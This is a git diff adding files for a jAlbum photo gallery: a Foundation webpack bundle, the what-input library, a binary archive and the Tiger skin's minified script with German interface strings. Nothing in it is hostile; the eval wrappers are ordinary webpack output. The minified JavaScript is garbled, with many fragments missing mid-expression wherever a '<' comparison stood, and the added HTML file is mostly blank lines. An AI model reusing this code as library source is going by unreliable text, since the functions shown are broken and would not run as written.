Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Elsenz/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Elsenz/album/lifeboat.zip new file mode 100644 index 00000000..70be8822 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Elsenz/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Elsenz/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Elsenz/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Elsenz/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction 